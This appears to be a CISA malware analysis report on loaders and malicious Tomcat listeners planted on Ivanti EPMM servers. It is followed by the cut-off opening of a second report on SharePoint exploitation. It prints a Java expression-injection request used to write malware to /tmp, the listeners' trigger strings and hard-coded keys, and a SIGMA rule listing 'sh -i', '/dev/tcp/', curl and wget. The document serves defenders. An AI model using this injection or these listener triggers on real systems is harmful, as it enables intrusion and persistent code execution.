❌

Visualização de leitura

↗️

Malicious Listener for Ivanti Endpoint Mobile Management Systems

✇CISA Analysis Reports
Por:CISA

Malware Analysis at a Glance
Executive Summary The Cybersecurity and Infrastructure Security Agency (CISA) obtained two sets of malware from an organization compromised by cyber threat actors exploiting CVE-2025-4427 and CVE-2025-4428 in Ivanti Endpoint Manager Mobile (Ivanti EPMM). Each set contains loaders for malicious listeners that enable cyber threat actors to run arbitrary code on the compromised server. 
Affected Products Ivanti EPMM, versions 11.12.0.4 and prior, 12.3.0.1 and prior, 12.4.0.1 and prior, and 12.5.0.0 and prior. (Ivanti provided a patch and disclosed the vulnerabilities on May 13, 2025.)
Key Actions
  • Detect activity by using the indicators of compromise (IOCs) and detection signatures to identify malware samples.
  • Prevent compromise by upgrading Ivanti EPMM versions to the latest version as soon as possible.
  • Prevent compromise by treating mobile device management (MDM) systems as high-value assets (HVAs) with additional restrictions and monitoring. 
Indicators of Compromise For a downloadable copy of IOCs associated with this malware, see: MAR-251126.r1.v1.CLEAR.
Detection

This malware analysis report includes YARA and SIGMA rules.

For a downloadable copy of the SIGMA rule associated with this malware, see: AR25-260A/B SIGMA YAML.
Intended Audience

Organizations: All organizations with on-premises Ivanti EPMM systems.

Roles: Digital forensics analysts, incident responders, vulnerability analysts, system administrators.

Introduction

The Cybersecurity and Infrastructure Security Agency (CISA) obtained two sets of malware, five files in total, from an organization where cyber threat actors exploited CVE-2025-4427 [CWE-288: Authentication Bypass Using an Alternate Path or Channel] and CVE-2025-4428 [CWE-‘Code Injection’] in Ivanti Endpoint Manager Mobile (Ivanti EPMM) deployments for initial access.

Note: Ivanti provided a patch and disclosed the vulnerabilities on May 13, 2025. CISA added both vulnerabilities to its Known Exploited Vulnerabilities Catalog on May 19, 2025.

Around May 15, 2025, following publication of a proof of concept, the cyber threat actors gained access to the server running EPMM by chaining these vulnerabilities. The cyber threat actors targeted the /mifs/rs/api/v2/ endpoint with HTTP GET requests and used the ?format= parameter to send malicious remote commands. The commands enabled the threat actors to collect system information, download malicious files, list the root directory, map the network, execute scripts to create a heapdump, and dump Lightweight Directory Access Protocol (LDAP) credentials.

CISA analyzed two sets of malicious files the cyber threat actors wrote to the /tmp directory. Each set of malware enabled persistence by allowing the cyber threat actors to inject and run arbitrary code on the compromised server.

CISA encourages organizations to use the indicators of compromise (IOCs) and detection signatures in this Malware Analysis Report to identify malware samples. If identified, follow the guidance in the Incident Response section of this Malware Analysis Report. Additionally, organizations should ensure they are running the latest version of Ivanti EPMM as soon as possible.

Download the PDF version of this report:

For a downloadable copy of IOCs associated with this malware, see: 

MAR-251126.r1.v1.CLEAR (JSON, 45.68 KB )

For a downloadable copy of the SIGMA rule associated with this malware, see: 

Malware Summary

CISA analyzed two sets of malware:

  • Set 1 consists of the following malicious files: web-install.jar, ReflectUtil.class, and SecurityHandlerWanListener.class.
  • Set 2 consists of the following malicious files: web-install.jar and WebAndroidAppInstaller.class.

Note: To distinguish the set 1 malware, named web-install.jar, from the set 2 malware with the same name, hereafter this Malware Analysis Report will refer to: 

  • Set 1’s web-install.jar as Loader 1.
  • Set 2’s web-install.jar as Loader 2.

Each set contains a loader and malicious listener that enables cyber threat actors to inject and run arbitrary code on the compromised server.

Set 1 works together in the following ways:

  1. Loader 1 contains and loads ReflectUtil.class.
    1. ReflectUtil.class injects and manages SecurityHandlerWanListener in Apache Tomcat.
      1. SecurityHandlerWanListener.class intercepts specific HTTP requests and processes them to decode and decrypt payloads, which create a new class that cyber threat actors can execute to run arbitrary code.

Set 2 works together in the following ways:

  1. Loader 2 contains and loads WebAndroidAppInstaller.class at runtime.
    1. WebAndroidAppInstaller.class intercepts and processes specific HTTP requests, retrieves and decrypts password parameters from the request, defines and loads a new malicious class, encrypts and encodes the new class output, and generates a response with the encrypted output.

Malware Delivery

Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 17. See Appendix A: MITRE ATT&CK Techniques for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.

The cyber threat actors delivered this malware in segments, splitting Loader 1 and 2 into multiple Base64-encoded segments [T1027.004]. They delivered each segment via separate HTTP GET requests and then used Java Expression Language (EL) injection to write each chunk and append them together using the append mode (via the true parameter).

For each loader, the actors’ first GET request created the file and wrote chunk 1. Their subsequent requests appended chunks to the existing file. Below is an example of the actors’ GET request.

"GET /mifs/rs/api/v2/featureusage?format=${"".getClass().forName("java.io.FileOutputStream").getConstructor("".getClass(), "".getClass().forName("[Z").getComponentType()).newInstance("/tmp/web-install.jar", true).write("".getClass().forName("java.util.Base64").getMethod("getDecoder").invoke(null).decode("[BASE64_CHUNK]"))

This argument creates/appends malware segments to the following file:

.newInstance("/tmp/web-install.jar", true).

It then writes the following decoded Base64 chunk:

.write("".getClass().forName("java.util.Base64").getMethod("getDecoder").invoke(null).decode("[BASE64_CHUNK]")).

This technique is used for defense evasion—it enables the malware to evade signature-based detection and size limitations as it is transferred to the system. Holistically, this technique combines chunked encoding for evasion and file append operations for reconstruction.

Malware Metadata

Set 1

See Table 1 through Table 3 for metadata of the analyzed malware.

Table 1. Loader 1
Filename web-install.jar
Size 30996 bytes
Type JAR
MD5 e33103767524879293d1b576a8b6257d
SHA1 c2046523f1cb487a473b0a46a5a4a957f1b3200a
SHA256 c1f60ca5a5f7b94ab7122718a44b46de16c69d22c2eb62ce2948cab14bc78d50
SHA512 004b71ebeb4808b6dfdc4e58b95c4b307985c08118c45c02a34cd56ff697259199698989af0725d63802dfc785a72e416d2db5875edd1a0fa80ae01a282b2007
ssdeep 384:kaD+TLeDOl+mDcDFNUaD+TLeDOl+mDcDFNUaD+TLeDOl+mDcDFNUaD+TLeDOl+ms:z6Pl+mwj6Pl+mwj6Pl+mwj6Pl+mw3
Entropy 7.951890
Table 2. ReflectUtil.class Injector Malware
Filename ReflectUtil.class
Size 11886 bytes
Type compiled Java class data, version 49.0 (Java 1.5)
MD5 6ec2169312feb9fde0b17e244b32c37d
SHA1 6d7e85862f925e83f6d0c29e291765548fac721a
SHA256 065c1c2fb17ba1c3f882bead409215df612673cd455698768ed71412f9190ba3
SHA512 4cd26b298b448db6b26d91b8cf7ac169d693a0dad4f184742463db872b809b91d462ab4659bb21474578e3202bfc92b0db18716db6b4c3c24b3f9e7f2fccce27
ssdeep 192:KuZ4E9i44LYcyHCi3uFl0xEHqQ+k5bUW0sbh3aUfPuS6GZz:Ku79BP/3uFygq49V0stKEuSpz
Entropy 6.258794
Table 3. SecurityHandlerWanListener.class Malicious Listener
Filename SecurityHandlerWanListener.class
Size 4690 bytes
Type compiled Java class data, version 49.0 (Java 1.5)
MD5  5e9d283b483b8d5c637baf7cfdda0e08
SHA1  8b87a881f6f81afb596d3f98abef4225315e26bf
SHA256 b1b1cf33b8d3da35293d6b74c378f0cd9452a4351e26d07c896c4d9a8257ef89
SHA512 07956b3a830bd0885202d9bc7a5b5a5927acf1c5584830ebc1011849f41b1077c3d6e3c2a6e94e36a338fc6b540c4b736751775e7069df4b257fa3786c1140a2
ssdeep 96:bFlm4Dt94EugELCBt+qRAVfOTqM8+U00RO:Blz94ExtlRAITqGQO
Entropy 5.690466

Set 2

See Table 4 through Table 5 for metadata of the analyzed malware.

Table 4. Loader 2
Filename web-install.jar
Size 8728 bytes
Type JAR
MD5  32f5c3c1582a77c004b1511c77454678
SHA1  2a96ce17ed8a025dd72f3729c247dfdb5b0a19a4
SHA256 b618057de9a8bba95440f23b9cf6374cc66f2acd127b3d478684b22d8f11e00b
SHA512 ec3880dfdc23a06cc1d97153963c3b0bd64db0469069e8dc3395101d12c65bcdcf87e5eac967ddf0b6be7e1dd6e8faaa233224f9f76a90f44f0e9df320d051a3
ssdeep 192:omBb/dSBuj9MLFgWfXsea1Xld+LXxzRlRX+pi+n9PshE6w0Tipbg8:j/T9MLFgWfcnVlSzspic9kCPxpB
Entropy 7.923820
Table 5. WebAndroidAppInstaller.class Malicious Listener
Filename WebAndroidAppInstaller.class
Size 16120 bytes
Type compiled Java class data, version 52.0 (Java 1.8)
MD5  8387a7ce9f2520d8956747fd247b19af
SHA1  9808ab3ddfb9ab4fe3af1b5d1f6a638bc03788e0
SHA256 df501b238854d6579cafebeba82581a728e89ed1f6cd0da54c79ef4eb6f4f9fd
SHA512 a51943a8381e67aca4b8296c9df0b05450525b5b27efbf873fd54a7f68febb503e1eb088d287e3561137fd33d3772dd879a3f00b09285a67f215f7a420e7ffcd
ssdeep 384:iI+1BxqQ3evK5c7aIUnKzaxckO05xiZMQn5JI3c+AK8:iImfqQ3z/nbax1
Entropy 5.950145

Malware Functionality

Set 1

This set of malware contains a loader, a manager, and a malicious listener.

Loader 1

Loader 1 is a Java Archive (JAR) file that contains [T1027.009] and loads the compiled Java class file ReflectUtil.class at runtime.
Loader 1 masquerades ReflectUtil.class as part of the org.apache.http package [T1036]. See Figure 1 for ReflectUtil.class’s hierarchal file path.

Figure 1 - Loader 1 Internal Structure
Figure 1. Loader 1 Internal Structure 

ReflectUtil.class Manager

ReflectUtil.class manipulates Java objects to inject and manage the malicious listener SecurityHandlerWanListener in Apache Tomcat (which was running on the same compromised server). When executed, the file:

  1. Bypasses Java Development Kit (JDK) module restrictions.
  2. Iterates objects and their contexts.
  3. Attempts to load SecurityHandlerWanListener class in the JUnit environment or framework by using getClassName() to return the hard-coded string org.junit.SecurityHandlerWanListener [T1620].

If SecurityHandlerWanListener class is not loaded because it is not found when ReflectUtil.class first executes, ReflectUtil.class handles the error by using a Base64 string catch block (Figure 2) to Base64 decode, gzip decompress, and load the class SecurityHandlerWanListener.

Figure 2 - getBase64String() to Base64 Decode, gzip Decompress, and Load the Class
Figure 2. getBase64String() to Base64 Decode, gzip Decompress, and Load the Class SecurityHandlerWanListener 

The Base64 string:

  1. Returns the Base64-encoded and gzip-compressed bytecode of class SecurityHandlerWanListener.
  2. Decodes and decompresses [T1140] the class bytecode (see Figure 3) in one of two ways:
    1. It first uses sun.misc.BASE64Decoder to call decodeBuffer.
    2. If the first attempt fails, it uses java.util.Base64 to call getDecoder.
Figure 3 - Java Code Snippet for Decoding a Base64 String
Figure 3. Java Code Snippet for Decoding a Base64 String 
  1. Invokes the defineClass method of ClassLoader to load the class from the decompressed bytecode.

Once the class SecurityHandlerWanListener is loaded, ReflectUtil.class:

  1. Creates a new instance of the class and returns it as a new listener.
  2. Retrieves the current list of listeners, adds the new listener to this list, and updates the application's listener list.
  3. Checks if evilClassName has already been injected into the application's event listener list to avoid multiple injections or to confirm a previous injection. (CISA has no additional information on the listener evilClassName.)

SecurityHandlerWanListener.class

This compiled Java class file is a malicious listener that intercepts specific HTTP requests and processes them to decode and decrypt payloads, which dynamically create and execute a new class.

The file uses ClassLoader to set up a custom servlet listener that intercepts HTTP requests [T1071.001] based on String Pass, Header Name, and Header Values. Specifically, when a new HTTP request is received, the servlet listener checks if the request contains the string pass 7c6a8867d728c3bb, Header Name Referer, and Header Value https://www[.]live.com.

If the fields match, the file creates a HashMap to store the request, response, and session objects. The file also stores the key 7c6a8867d728c3bb in the session.

The file then retrieves, decodes, and decrypts the Base64-encoded payload:

  1. The file retrieves the payload by reading a line from request’s input stream (request.getReader().readLine()).
  2. The file decodes the line using Base64.
  3. The file decrypts the decoded data using Advanced Encryption Standard (AES) cipher object with the stored key.

The file passes the decrypted data to a method named g, which defines and creates a new Java class file. Cyber threat actors can execute the class on the device to run arbitrary code.

Potential impact: This listener could allow cyber threat actors to:

  • Inject and execute arbitrary code on the server, enabling follow-on activity and persistence.
  • Exfiltrate data by intercepting and processing HTTP requests.

See Figure 4 for the relevant listener code snippet.

Figure 4 - Java Code Snippet
Figure 4. Java Code Snippet 

Set 2

This set of malware contains a loader and a malicious listener.

Loader 2

This JAR file contains and loads the compiled Java class file WebAndroidAppInstaller.class at runtime.

The JAR file masquerades the class file as part of the com.mobileiron.service package. See Figure 5 for WebAndroidAppInstaller.class’s hierarchal file path.

Figure 5 - WebAndroidAppInstaller.class Hierarchical File Path
Figure 5: WebAndroidAppInstaller.class Hierarchical File Path 

WebAndroidAppInstaller.class

This compiled Java class file is a malicious listener that intercepts and processes specific HTTP requests, retrieves and decrypts password parameters from the request, defines and loads a new malicious class, encrypts and encodes the new class output, and generates a response with the encrypted output.

The listener first retrieves request and response objects from a Java ServletContext. Then, the file checks the request’s Content-Type to ensure it is not null and contains the string application/x-www-form-urlencoded.

If these conditions are met, the file retrieves a password parameter from the request. If the data is not null and has a length greater than zero, the password parameter value is Base64 decoded and decrypted using an AES algorithm with the hard-coded key 3c6e0b8a9c15224a [T1573.001].

If the decrypted data is not empty, the decrypted data defines and implements a new class. The file AES encrypts the new class output using the same hard-coded key, 3c6e0b8a9c15224a, and then Base64 encodes it [T1027.013].

The file then generates a Message Digest Algorithm 5 (MD5) hash of the data stored in the password parameter (from the initial HTTP request) and hard-coded key and checks if the hash value was stored in newly allocated byte array ByteArrayOutputStream. The file creates a PrintWriter object to generate a response containing the first 16 characters of the computed MD5 hash value, followed by the Base64-encoded and AES-encrypted output of the new loaded class and the remaining part of the MD5 hash value.

Potential impact. This listener could allow cyber threat actors to:

  • Inject and execute arbitrary code on the server, enabling follow-on activity and persistence.
  • Exfiltrate data by receiving response and execution results.

See Figure 6 for the applicable Java code Snippet.

Figure 6 - WebAndroidAppInstaller.class Java Code
Figure 6. WebAndroidAppInstaller.class Java Code 

Detection

Yara Rules

Deploy the CISA-created YARA rules in Table 6 to detect malicious activity.

Table 6. YARA Rules
Loader 1

rule CISA_251126_01 : trojan hides_artifacts

{

meta:

author = “CISA Code & Media Analysis”

incident = “251126”

date = “2025-07-23”

last_modified = “20250724_1615”

actor = “n/a”

family = “n/a”

capabilities = “hides-artifacts”

malware_type = “trojan”

tool_type = “unknown”

description = “Detects malicious jar filter samples”

sha256_1 = “c1f60ca5a5f7b94ab7122718a44b46de16c69d22c2eb62ce2948cab14bc78d50”

strings:

$s0 = { 6F 72 67 2F 61 70 61 63 68 65 2F 68 74 74 70 2F 63 6C 69 65 6E 74 }

$s1 = { 2F 77 6F 2F 52 65 66 6C 65 63 74 55 74 69 6C 2E 63 6C 61 73 73 }

$s2 = { 83 2E 9D 42 02 A3 81 42 02 B3 C7 57 34 C4 A8 21 }

$s3 = { 8C 8E C0 B6 14 0E 92 08 89 EE EB 1A 11 7D F4 4E }

$s4 = { 5B 97 FF F6 12 C9 16 F5 17 C8 5B 5F 44 0E 07 30 }

$s5 = { A9 21 59 ED 8E 7A 28 D6 29 FA E3 D0 4C 3D 0F CE }

$s6 = { 5A BD F7 24 E8 66 5F 07 2F 7C 0C 0E A9 E3 8D C5 }

$s7 = { 05 1B AE 97 B1 88 FF 01 16 EF 3F 44 9E 5F 43 AE }

condition:

all of them

}
ReflectUtil.class

rule CISA_251126_02 : trojan

{

meta:

author = “CISA Code & Media Analysis”

incident = “251126”

date = “2025-07-23”

last_modified = “20250724_1615”

actor = “n/a”

family = “n/a”

capabilities = “n/a”

malware_type = “trojan”

tool_type = “unknown”

description = “Detects malicious servlet filter class loader samples”

sha256_1 = “065c1c2fb17ba1c3f882bead409215df612673cd455698768ed71412f9190ba3”

strings:

$s0 = { 6F 72 67 2F 61 70 61 63 68 65 2F 68 74 74 70 }

$s1 = { 63 6C 69 65 6E 74 2F 77 6F 2F 52 65 66 6C 65 63 74 55 74 69 6C }

$s2 = { 53 65 63 75 72 69 74 79 48 61 6E 64 6C 65 72 57 61 6E 4C 69 73 74 65 6E 65 72 }

$s3 = { 67 65 74 4C 69 73 74 65 6E 65 72 }

$s4 = { 61 64 64 4C 69 73 74 65 6E 65 72 }

$s5 = { 54 6F 6D 63 61 74 45 6D 62 65 64 64 65 64 43 6F 6E 74 65 78 74 }

$s6 = { 67 7A 69 70 44 65 63 6F 6D 70 72 65 73 73 }

$s7 = { 67 65 74 41 70 70 6C 69 63 61 74 69 6F 6E 45 76 65 6E 74 4C 69 73 74 65 6E 65 72 73 }

$s8 = { 73 65 74 41 70 70 6C 69 63 61 74 69 6F 6E 45 76 65 6E 74 4C 69 73 74 65 6E 65 72 73 }

$s9 = { 65 76 69 6C 43 6C 61 73 73 4E 61 6D 65 }

condition:

all of them

}
SecurityHandlerWanListener.class

rule CISA_251126_03 : trojan installs_other_components exfiltrates_data

{

meta:

author = “CISA Code & Media Analysis”

incident = “251126”

date = “2025-07-23”

last_modified = “20250724_1615”

actor = “n/a”

family = “n/a”

capabilities = “installs-other-components exfiltrates-data”

malware_type = “trojan”

tool_type = “unknown”

description = “Detects malicious servlet filter class samples”

sha256_1 = “b1b1cf33b8d3da35293d6b74c378f0cd9452a4351e26d07c896c4d9a8257ef89”

strings:

$s0 = { 53 65 72 76 6C 65 74 52 65 71 75 65 73 74 4C 69 73 74 65 6E 65 72 }

$s1 = { 43 6C 61 73 73 4C 6F 61 64 65 72 }

$s2 = { 53 65 72 76 6C 65 74 52 65 71 75 65 73 74 45 76 65 6E 74 }

$s3 = { 2F 48 74 74 70 53 65 72 76 6C 65 74 52 65 73 70 6F 6E 73 65 }

$s4 = { 48 74 74 70 53 65 73 73 69 6F 6E }

$s5 = { 48 74 74 70 53 65 72 76 6C 65 74 52 65 73 70 6F 6E 73 65 }

$s6 = { 68 65 61 64 65 72 56 61 6C 75 65 }

$s7 = { 37 63 36 61 38 38 36 37 64 37 32 38 63 33 62 62 }

$s8 = { 70 61 73 73 }

$s9 = { 53 65 63 72 65 74 4B 65 79 53 70 65 63 }

$s10 = { 15 68 74 74 70 73 3A 2F 2F 77 77 77 2E 6C 69 76 65 2E 63 6F 6D 2F }

$s11 = { 52 65 66 65 72 65 72 }

condition:

all of them

}
Loader 2

rule CISA_251126_04 : trojan hides_artifacts

{

meta:

author = “CISA Code & Media Analysis”

incident = “251126”

date = “2025-07-23”

last_modified = “20250724_1615”

actor = “n/a”

family = “n/a”

capabilities = “hides-artifacts”

malware_type = “trojan”

tool_type = “unknown”

description = “Detects malicious jar Tomcat listener shell samples”

sha256_1 = “b618057de9a8bba95440f23b9cf6374cc66f2acd127b3d478684b22d8f11e00b”

strings:

$s0 = { 63 6F 6D 2F 6D 6F 62 69 6C 65 69 72 6F 6E 2F 73 65 72 76 69 63 65 2F }

$s1 = { 57 65 62 41 6E 64 72 6F 69 64 41 70 70 49 6E 73 74 61 6C 6C 65 72 2E 63 6C 61 73 73 }

$s2 = { 5A 5D BB 33 C0 43 31 B0 2D DC 58 F2 75 44 CE E5 }

$s3 = { 97 DC AC 0F A7 69 97 A4 5A 72 E8 96 AC 43 9E 01 }

$s4 = { E0 E0 7E 40 F3 F8 87 30 C5 83 30 C5 43 14 E7 67 }

$s5 = { DB E6 F7 F9 BD FC BE 75 00 BF 6F B3 59 B7 28 07 }

$s6 = { C6 BF A4 1D 28 AB 7A B9 3E 09 B1 D8 E2 FA 09 36 }

$s7 = { B8 0E 8E 0B 97 2D AE CF B4 B8 6E CD E5 E6 BA 92 }

condition:

all of them

}
WebAndroidAppInstaller.class

rule CISA_251126_05 : trojan installs_other_components exfiltrates_data

{

meta:

author = “CISA Code & Media Analysis”

incident = “251126_”

date = “2025-07-23”

last_modified = “20250724_1615”

actor = “n/a”

family = “n/a”

capabilities = “installs-other-components exfiltrates-data”

malware_type = “trojan”

tool_type = “unknown”

description = “Detects malicious Tomcat listener shell class samples”

sha256_1 = “df501b238854d6579cafebeba82581a728e89ed1f6cd0da54c79ef4eb6f4f9fd”

strings:

$s0 = { 43 6C 61 73 73 4C 6F 61 64 65 72 }

$s1 = { 6D 6F 62 69 6C 65 69 72 6F 6E 2F 73 65 72 76 69 63 65 }

$s2 = { 57 65 62 41 6E 64 72 6F 69 64 41 70 70 49 6E 73 74 61 6C 6C 65 72 }

$s3 = { 61 64 64 4C 69 73 74 65 6E 65 72 }

$s4 = { 73 65 72 76 6C 65 74 52 65 71 75 65 73 74 4C 69 73 74 65 6E 65 72 43 6C 61 73 73 }

$s5 = { 61 64 64 41 70 70 6C 69 63 61 74 69 6F 6E 45 76 65 6E 74 4C 69 73 74 65 6E 65 72 4D 65 74 68 6F 64 }

$s6 = { 62 61 73 65 36 34 44 65 63 6F 64 65 }

$s7 = { 63 6F 6E 74 65 6E 74 54 79 70 65 }

$s8 = { 08 72 65 73 70 6F 6E 73 65 }

$s9 = { 33 63 36 65 30 62 38 61 39 63 31 35 32 32 34 61 }

$s10 = { 6B 70 61 73 73 6C 6F 67 69 6E }

$s11 = { 53 65 72 76 6C 65 74 52 65 71 75 65 73 74 4C 69 73 74 65 6E 65 72 }

$s12 = { 53 65 63 72 65 74 4B 65 79 53 70 65 63 }

condition:

all of them

}

SIGMA Rule

Deploy the CISA-created SIGMA rule in Table 7 to detect malicious activity. 

Table 7. SIGMA Rule
Loader Malware for Ivanti Mobile Management Systems

## CISA Code & Media Analysis ##

############ README ###############

## Edit rules and queries as needed for your hunt and based on your environment.

## Ensure your EDR/SIEM instance has enough memory to run these AND/OR condition-based queries. May take longer to run than conventional Sigma rule query.

## Do not edit “logsource-product:” unless you are editing this rule to meet specific logsources/fields and know your environment.

## TLP CLEAR may convert rules using online converter of choice.

###################################

title: Detects Artifacts Based on MAR-251126, Ivanti EPMM CVE-2025-4427 and CVE-2025-4428

incident: 251126

tlp: CLEAR

id: 83df757f-54e7-44a0-be21-ae2306ca3240

status: test

description: Detects abused URL paths and suspicious commands used by Threat Actors on Ivanti Endpoint Manger Mobile (EPMM). Based on MAR-251126 as well as Unauthenticated Remote Code Execution Vulnerabilities CVE-2025-4427 and CVE-2025-4428.

references:

    - ‘MAR-251126’

    - ‘https://projectdiscovery.io/blog/ivanti-remote-code-execution’

    - ‘https://labs.watchtowr.com/expression-payloads-meet-mayhem-cve-2025-4427-and-cve-2025-4428/’

    - ‘https://www.wiz.io/blog/ivanti-epmm-rce-vulnerability-chain-cve-2025-4427-cve-2025-4428’

    - ‘https://threatprotect.qualys.com/2025/05/20/cisa-warns-of-ivanti-epmm-unauthenticated-remote-code-execution-vulnerabilities-cve-2025-4427-cve-2025-4428/’

    - ‘https://profero.io/blog/ivanti-epmm-attacks’

    - ‘https://github.com/rapid7/metasploit-framework/blob/26156dfac2e01379eb858a87aa85e2ecfea929ff/modules%2Fexploits%2Fmulti%2Fhttp%2Fivanti_epmm_rce_cve_2025_4427_4428.rb’   

author: CISA Code & Media Analysis

date: 2025-08-08

modified: 2025-08-13

tags:

    - cve.2025.4427

    - cve.2025.4428

logsource:

    product: cma

detection:

    keywords:

        - ‘GET’

    keywords_1:

        - ‘/api/v2/*’

    keywords_2:

        - ‘sh -i’

        - ‘invoke’

        - ‘java’

        - ‘/dev/tcp/’

        - ‘getRuntime’

        - ‘.jar’

        - ‘.class’

        - ‘evilClassName’

        - ‘ping’

        - ‘dig’

        - ‘curl’

        - ‘wget’

        - ‘fetch’

        - ‘echo’

 

    keywords_3:

        - ‘chmod’

    keywords_4:

        - ‘+x’

        - ‘a+r’

        - ‘755’

        - ‘/tmp’

 

    keywords_5:

        - ‘/mi/tomcat/webapps/mifs/401.jsp’

        - ‘/mi/tomcat/webapps/mifs/css/css.css’

        - ‘/mi/tomcat/webapps/mifs/session.jsp’

         - ‘/mi/tomcat/webapps/mifs/baseURL.jsp’

         - ‘065c1c2fb17ba1c3f882bead409215df612673cd455698768ed71412f9190ba3’

         - ‘b618057de9a8bba95440f23b9cf6374cc66f2acd127b3d478684b22d8f11e00b’

         - ‘c1f60ca5a5f7b94ab7122718a44b46de16c69d22c2eb62ce2948cab14bc78d50’

         - ‘df501b238854d6579cafebeba82581a728e89ed1f6cd0da54c79ef4eb6f4f9fd’

         - ‘1b1dda5e8e26da568559e0577769697c624df30e’

         - ‘ac389c8b7f3d2fcf4fd73891f881b12b8343665b’

         - ‘19b4df629f5b15e5ff742c70d2c7dc4dac29a7ce’

         - ‘f780151c151b6cec853a278b4e847ef2af3dbc5d’

         - ‘dce8faf5fcf5998b6802995914caa988ee1ebd92’

         - ‘aa2cfeeca6c8e7743ad1a5996fe5ccc3d52e901d’

         - ‘2bd61ce5bdd258c7dcbef53aedb1b018b8e0ae26’

         - ‘82.132.235.212’

         - ‘37.219.84.22’

         - ‘88.194.29.21’

         - ‘27.25.148.183’

         - ‘83.229.126.234’

         - ‘91.193.19.109’

         - ‘47.120.74.19’

         - ‘100.26.51.59’

         - ‘150.241.71.231’

         - ‘75.170.92.132’

         - ‘5.181.159.149’

         - ‘45.38.17.43’

         - ‘75.170.92.132’

 

    condition: keywords and keywords_1 and keywords_2 or keywords and keywords_1 and keywords_3 or keywords_3 and keywords_4 or keywords_5

 

falsepositives:

    - Rate of FP low-moderate with some strings.

    - Use this rule in an infected environment/logs.

    - Analyst may need to make adjustments to the query as required.

level: high

Incident Response

If this or similar malware is detected, CISA recommends that organizations:

  1. Quarantine or take offline potentially affected hosts.
  2. Collect and review artifacts, such as running processes/services, unusual authentications, and recent network connections.
  3. Capture a full forensic disk image of the affected host for sharing with CISA.
  4. If initial investigation (Step 2) finds the threat actor’s access was limited (e.g., they did not move laterally or elevate privileges), provision new account credentials. If the investigation finds the threat actor had broader access or potentially moved laterally, follow your organization’s incident response plans to initiate threat hunting, containment, and eviction measures.
  5. Report the compromise to CISA:
    1. Report the compromise via CISA’s 24/7 Operations Center (contact@cisa.dhs.gov or 1-844-729-2472) or CISA’s Incident Reporting System.
    2. Use CISA’s Malware Analysis Submission Form to submit a file containing the malicious code. Include the CISA-provided Incident ID number (obtained from reporting the compromise) in the Open Incident ID field.
  6. Reimage compromised hosts.
  7. Apply recommendations from the Mitigations section to harden the systems.

Mitigations

CISA recommends organizations implement the mitigations below to improve your organization’s cybersecurity posture on the basis of the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections.

  • Upgrade Ivanti EPMM versions to the latest version as soon as possible.
  • Treat mobile device management (MDM) systems as high-value assets (HVAs) with additional restrictions and monitoring. MDM systems provide elevated access to thousands of hosts and should be treated as HVAs with additional restrictions and monitoring.
  • Follow best cybersecurity practices in production and enterprise environments, including mandating phishing-resistant multifactor authentication (MFA) for all staff and services. For additional best practices, see CISA’s Cross-Sector Cybersecurity Performance Goals (CPGs).

Disclaimer

CISA does not endorse any commercial entity, product, company, or service, including any entities, products, companies, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA.

Version History

September 18, 2025: Initial version.

Appendix A: MITRE ATT&CK Techniques

See Table 8 and Table 9 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Table 8. Defense Evasion
Technique Title  ID Use
Obfuscated Files or Information: Compile After Delivery T1027.004 The cyber threat actors delivered malware in segments, splitting it into multiple Base64-encoded segments. The actors used Java EL injection to write each chunk and append them together using the append mode (via the true parameter).
Obfuscated Files or Information: Embedded Payloads T1027.009 Loader 1 contains ReflectUtil.class.
Obfuscated Files or Information: Encrypted/Encoded File T1027.013 WebAndroidAppInstaller.class AES encrypts and Base64 encodes a class output with a hard coded key.
Masquerading T1036

Loader 1 masquerades ReflectUtil.class as part of the org.apache.http package.

Loader 2 masquerades WebAndroidAppInstaller.class as part of the com.mobileiron.service package.
Reflective Code Loading T1620 ReflectUtil.class reflectively loads code into Java processes to add a malicious listener to Apache Tomcat servers. 
Deobfuscate/Decode Files or Information T1140 ReflectUtil.class decodes and decompresses a class bytecode.
Technique Title  ID Use
Application Layer Protocol: Web Protocols T1071.001

SecurityHandlerWanListener.class intercepts HTTP requests.

WebAndroidAppInstaller.class intercepts and processes specific HTTP requests.
Encrypted Channel: Symmetric Cryptography T1573.001 WebAndroidAppInstaller.class decodes a Base64 password parameter value using an AES algorithm and hard-coded key.
↗️

MAR-251132.c1.v1 Exploitation of SharePoint Vulnerabilities

✇CISA Analysis Reports
Por:CISA

Notification

This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:CLEAR--Recipients may share this information without restriction. Sources may use TLP:CLEAR when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:CLEAR information may be shared without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.cisa.gov/tlp.

Summary

Description

CISA received six files related to Microsoft SharePoint vulnerabilities: CVE-2025-49704 [CWE-94: Code Injection], CVE-2025-49706 [CWE-287: Improper Authentication], CVE-2025-53770 [CWE-502: Deserialization of Trusted Data], and CVE-2025-53771 [CWE-287: Improper Authentication]. According to Microsoft, cyber threat actors have chained CVE-2025-49706 (a network spoofing vulnerability) and CVE-2025-49704 (a remote code execution (RCE) vulnerability) in an exploit chain known as “ToolShell” to gain unauthorized access to on-premise SharePoint servers. Microsoft has not confirmed exploitation of CVE-2025-53771; however, CISA assesses exploitation is likely because it can be chained with CVE-2025-53770 to bypass previously disclosed vulnerabilities CVE-2025-49704 and 
CVE-2025-49706. 

The analysis includes two Base64 encoded .NET Dynamic-link Library (DLL) binaries and four Active Server Page Extended [ASPX] files. The decoded DLLs are designed to retrieve machine key settings within an ASP[.]NET application's configuration and add the retrieved machine key values to the Hypertext Transfer Protocol (HTTP) response header. 

